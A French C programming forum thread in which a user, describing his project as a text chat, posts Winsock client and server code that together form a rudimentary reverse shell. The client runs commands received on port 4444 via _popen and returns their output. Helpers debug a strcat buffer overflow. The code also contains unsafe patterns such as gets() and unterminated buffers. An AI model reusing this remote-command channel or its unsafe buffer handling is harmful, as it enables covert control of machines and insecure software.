Problème fonction strcat qui me fais crash

Résolu/Fermé
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022 - 3 juil. 2021 à 17:14
 CoDForlan - 6 juil. 2021 à 02:50
Bonjour à tous,
Je suis en train de travailler sur tchat textuel en C et j'ai un problème avec un fonction dans la lib string :
Mon bute étant d'afficher le retour de la consol windows avec la fonction _popen si vous la connaissez, pour faire ceci j'ai donc fais ce premier script côté du premier client :
FILE * fp = _popen(buffer, "r");

				while(!feof(fp)){
					printf("%s", buffer);
					fgets(buffer, sizeof(buffer), fp);
				}
				// on renvoit le résultat
				send(sock,buffer,sizeof(buffer),0);

Du côté du second client (pour la réception même si elle est des deux côtés) :
recv(csock, buffer, DEFAULT_BUFLEN, 0);
                        puts(buffer);

En imaginant que dans le buffer il y est la commande "dir" et bien il m'afficher :
1 Dir(s)  114,346,139,648 bytes free


pour celui ci il n'y a pas vraiment de problème simplement je voudrais avoir toutes les lignes, j'ai donc avancé et ajouté cela du côté du premier client :
FILE * fp = _popen(buffer, "r");

				while(!feof(fp)){
					printf("%s", buffer);
					strcat(buffer2,buffer);
					fgets(buffer, sizeof(buffer), fp);
				}
				// on renvoit le résultat
				send(sock,buffer2,sizeof(buffer),0);

Dans le deuxième cas quand il y a une commande ou il pourrait avoir un retour comme "dir" et bien le programme crash tout simplement.

Voilà j'espère que j'ai été assez claire dans ce que j'ai dit merci encore pour ce qui m'apporterons leur aide.
Cordialement

4 réponses

yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022 1 272
3 juil. 2021 à 17:52
bonjour,
as-tu lu la documentation de strcat?
es-tu certain d'avoir partagé les parties les plus importantes de ton programme, celles où tu déclares et modifies ta variable buffer2?
0
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022
Modifié le 3 juil. 2021 à 18:14
Si tu veux le code entier :
Celui la c'est celui qui ne me fais pas crash
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT 4444

int main(int argc, char const *argv[]){
 char buffer[DEFAULT_BUFLEN]={0};
 char buffer2[DEFAULT_BUFLEN]={0};

 // création de l'objet socket
 WSADATA WSAData;
 int erreur=WSAStartup(MAKEWORD(2,2),&WSAData);
 
 SOCKET sock;
 SOCKADDR_IN sin;
 if (!erreur) {

 // Création de la socket 
 sock=socket(AF_INET,SOCK_STREAM,0);

 // Configuration de l'ip et port du serveur
 sin.sin_addr.s_addr=inet_addr("127.0.0.1");
 sin.sin_family=AF_INET;
 sin.sin_port=htons(DEFAULT_PORT);

 // test de connexion
  if (connect(sock,(SOCKADDR*)& sin,sizeof(sin))!=SOCKET_ERROR) {

   // tant que la socket est active si on reçoit une requête
   while (recv(sock,buffer,sizeof(buffer),0)!=SOCKET_ERROR) {

    // on exécute la commande contenue dans le buffer
    // on utilise _popen plutot que system afin de recuperer l'output
    FILE * fp = _popen(buffer, "r");

    while(!feof(fp)){
     printf("%s", buffer);
     fgets(buffer, sizeof(buffer), fp);
    }
    // on renvoit le résultat
    send(sock,buffer,sizeof(buffer),0);
    ZeroMemory(buffer,sizeof(buffer));
    ZeroMemory(buffer2,sizeof(buffer2));
    if (feof(fp))
     printf("\nProcess returned %d\n", _pclose(fp));
    else
     printf("Error: Failed to read the pipe to the end.\n");

    // on ferme le process
    _pclose(fp);
   }
  }
  // fermeture de la connexion socket
  closesocket(sock);
  WSACleanup();
 }
 return 0;
}

Celui qui me fais crash c'est celui :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT 4444

int main(int argc, char const *argv[]){
 char buffer[DEFAULT_BUFLEN]={0};
 char buffer2[DEFAULT_BUFLEN]={0};

 // création de l'objet socket
 WSADATA WSAData;
 int erreur=WSAStartup(MAKEWORD(2,2),&WSAData);
 
 SOCKET sock;
 SOCKADDR_IN sin;
 if (!erreur) {

 // Création de la socket 
 sock=socket(AF_INET,SOCK_STREAM,0);

 // Configuration de l'ip et port du serveur
 sin.sin_addr.s_addr=inet_addr("127.0.0.1");
 sin.sin_family=AF_INET;
 sin.sin_port=htons(DEFAULT_PORT);

 // test de connexion
  if (connect(sock,(SOCKADDR*)& sin,sizeof(sin))!=SOCKET_ERROR) {

   // tant que la socket est active si on reçoit une requête
   while (recv(sock,buffer,sizeof(buffer),0)!=SOCKET_ERROR) {

    // on exécute la commande contenue dans le buffer
    // on utilise _popen plutot que system afin de recuperer l'output
    FILE * fp = _popen(buffer, "r");

    while(!feof(fp)){
     printf("%s", buffer);
     strcat(buffer2,buffer);
     fgets(buffer, sizeof(buffer), fp);
    }
    // on renvoit le résultat
    send(sock,buffer2,sizeof(buffer),0);
    ZeroMemory(buffer,sizeof(buffer));
    ZeroMemory(buffer2,sizeof(buffer2));
    if (feof(fp))
     printf("\nProcess returned %d\n", _pclose(fp));
    else
     printf("Error: Failed to read the pipe to the end.\n");

    // on ferme le process
    _pclose(fp);
   }
  }
  // fermeture de la connexion socket
  closesocket(sock);
  WSACleanup();
 }
 return 0;
}

Le serveur de réception c'est celui llà :
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <string.h>
#pragma comment(lib, "Ws2_32.lib")
typedef int socklen_t;

#define DEFAULT_BUFLEN 512
#define DEFAULT_PORT 4444


int main(void) {
    const char IP[DEFAULT_BUFLEN]="127.0.0.1";
    char buffer[DEFAULT_BUFLEN];
    int valrecv;
    int sockErr;

    WSADATA WSAData;
    int erreur = WSAStartup(MAKEWORD(2,2), &WSAData);

    SOCKET sock;
    SOCKADDR_IN sin;
    socklen_t sizeBind = sizeof(sin);

    SOCKET csock;
    SOCKADDR_IN csin;
    socklen_t sizeAccept = sizeof(csin);

    if(!erreur){
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock != INVALID_SOCKET){
            printf("Socket %d is open : TCP/IP\n", sock);

            sin.sin_addr.s_addr = inet_addr(IP);
            sin.sin_family=AF_INET;
            sin.sin_port=htons(DEFAULT_PORT);

            sockErr = bind(sock, (SOCKADDR*)&sin, sizeBind);
            if(sockErr != SOCKET_ERROR){

                sockErr = listen(sock, 5);
                printf("Listen port %d\n", DEFAULT_PORT);
                if(sockErr != SOCKET_ERROR){
                    csock = accept(sock, (SOCKADDR*)&sin, &sizeAccept);
                    printf("Connection to the socket %d on %s:%d\n", csock, inet_ntoa(csin.sin_addr), htons(csin.sin_port));

                    while(valrecv > 0){
                        printf("Write the command to send :\n");
                        gets(buffer);
                        send(csock, buffer, DEFAULT_BUFLEN, 0);

                        recv(csock, buffer, DEFAULT_BUFLEN, 0);
                        puts(buffer);

                        ZeroMemory(buffer,DEFAULT_BUFLEN);
        }
                printf("Connection closed\n");
                }
                else{
                    puts("listen");
                    WSACleanup();
                }
            }
            else{
                puts("bind");
                WSACleanup();
            }
        }
        else{
            puts("socket");
            WSACleanup();
        }
        closesocket(sock);
        WSACleanup();
    }
    return 0;   
}
0
yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022 1 272
3 juil. 2021 à 19:50
si j'ai bien compris, l'erreur se produit en ligne 43.
combien de fois la ligne 42 a-t-elle été exécutée avant l'erreur?
0
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022 > yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022
3 juil. 2021 à 21:32
j'ai réussis à copié la fenêtre un fois quel était en train de crasher :
0dir1 Volume in drive D is Local Disk
2 Volume Serial Number is 8EB0-FB18
3
4 Directory of D:\Data\prog\C\CORONAVIRUS
5
607/03/2021 09:30 PM <DIR> .
707/03/2021 09:30 PM <DIR> ..
807/03/2021 09:18 PM 2,148 1.c
907/03/2021 04:57 PM 43,814 1.exe
1007/03/2021 09:19 PM 2,221 2.c
1107/03/2021 09:19 PM 43,814 2.exe
1208/31/2020 05:05 PM 298 findIP.c
1307/03/2021 09:24 PM 64 New AutoHotkey Script.ahk
1407/03/2021 09:29 PM 631 New Text Document.txt
1508/02/2020 02:53 PM 81 obfusqationRLO.txt

J'ai juste modifier ça
FILE * fp = _popen(buffer, "r");

				int i = 0;

				while(!feof(fp)){

					printf("%d%s", i, buffer);
					strcat(buffer2,buffer);
					fgets(buffer, sizeof(buffer), fp);
					i = i + 1;
				}
				// on renvoit le résultat
				send(sock,buffer2,sizeof(buffer),0);
				ZeroMemory(buffer,sizeof(buffer));
				ZeroMemory(buffer2,sizeof(buffer2));
0
yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022 1 272 > CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022
4 juil. 2021 à 10:15
as-tu compté combien de caractères tu essayait de mettre dans buffer2, comparé à la taille de buffer2?
0
Dalfab Messages postés 691 Date d'inscription dimanche 7 février 2016 Statut Membre Dernière intervention 27 novembre 2022 97
4 juil. 2021 à 09:48
Bonjour,

Attention, tu ne gères pas correctement le terminateur de chaîne. Quand tu reçois ton buffer, il n'y a pas de \0 dedans (le socket a transmis des octets, tu dois utiliser la taille reçue au moment du recv()). Tu as rempli buffer de \0 donc ça fonctionne au début (affichage du "dir") car tu as rempli ton buffer de \0.
Quand tu arrives à la taille reçue (512 octets dans ton cas), il n'y a "rien" après et ton fgets() ou ton strcat() plante. Si recv() a retourné 512, il a des chances pour que tu n'aies qu'un morceau de ligne, c'est la lecture de ce morceau qui pose problème.
Une solution "bidouille", remplace
#define DEFAULT_BUFLEN 512
par quelque chose de plus grand, tu auras le problème plus tard ou jamais.
utiliser fgets() dans le cas où recv() a retourné 512 ne fonctionne pas. Dans le cas où revc() donne un nombre inférieur (la fin de la séquence), il suffit d'y ajouter le \0 au bon endroit pour que ça fonctionne.
0
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022
Modifié le 4 juil. 2021 à 12:32
Salut,
Premièrement merci pour ta réponse.
Tu pourrais me dire comment ajouter le caractère \0.
Parce que si je me souvient bien il s'appelle caractère EOF ou alors je confond avec le file je sais plus trop.
Et du coup pour l'ajouter il faudrait que je fasse un strcat du caractère \0 comme ceci ?
FILE * fp = _popen(buffer, "r");*

while(!feof(fp)){
   strcat(buffer,"\0");// ajout du caractère fin de ligne
   strcat(buffer2,buffer);
   printf("%d%s", i, buffer);
   fgets(buffer, sizeof(buffer), fp);
  }
0
yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022 1 272 > CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022
4 juil. 2021 à 13:15
surtout pas, entr'autres parce que strcat ne fonctionne bien que si ce caractère est déjà présent.
0
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022 > yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022
4 juil. 2021 à 14:53
ok mais du coup comment je fais pour l'ajouter ?
0
yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022 1 272 > CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022
4 juil. 2021 à 15:44
je pense que ce n'est pas urgent, car c'est un soucis avec ton programme serveur, celui où se trouve le recv().
fais d'abord fonctionner ton programme client.
0
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022 > yg_be Messages postés 20759 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 4 décembre 2022
Modifié le 4 juil. 2021 à 16:30
je ne vois pas de quoi tu parles dans les deux programmes il y a un recv()mais je ne vois pas ou se trouve le problème apart ce qu'on vient de parler ( le caractère \0)
0
CoDForlan Messages postés 33 Date d'inscription mercredi 17 juin 2020 Statut Membre Dernière intervention 16 février 2022
Modifié le 4 juil. 2021 à 16:33
aussi pour répondre à Dalfab tu avais raison j'ai juste eu à passer mon define buffer len à 1024 et le tour est joué jusqu'à ce qu'il y est est message de plus de 1024 bits x)
0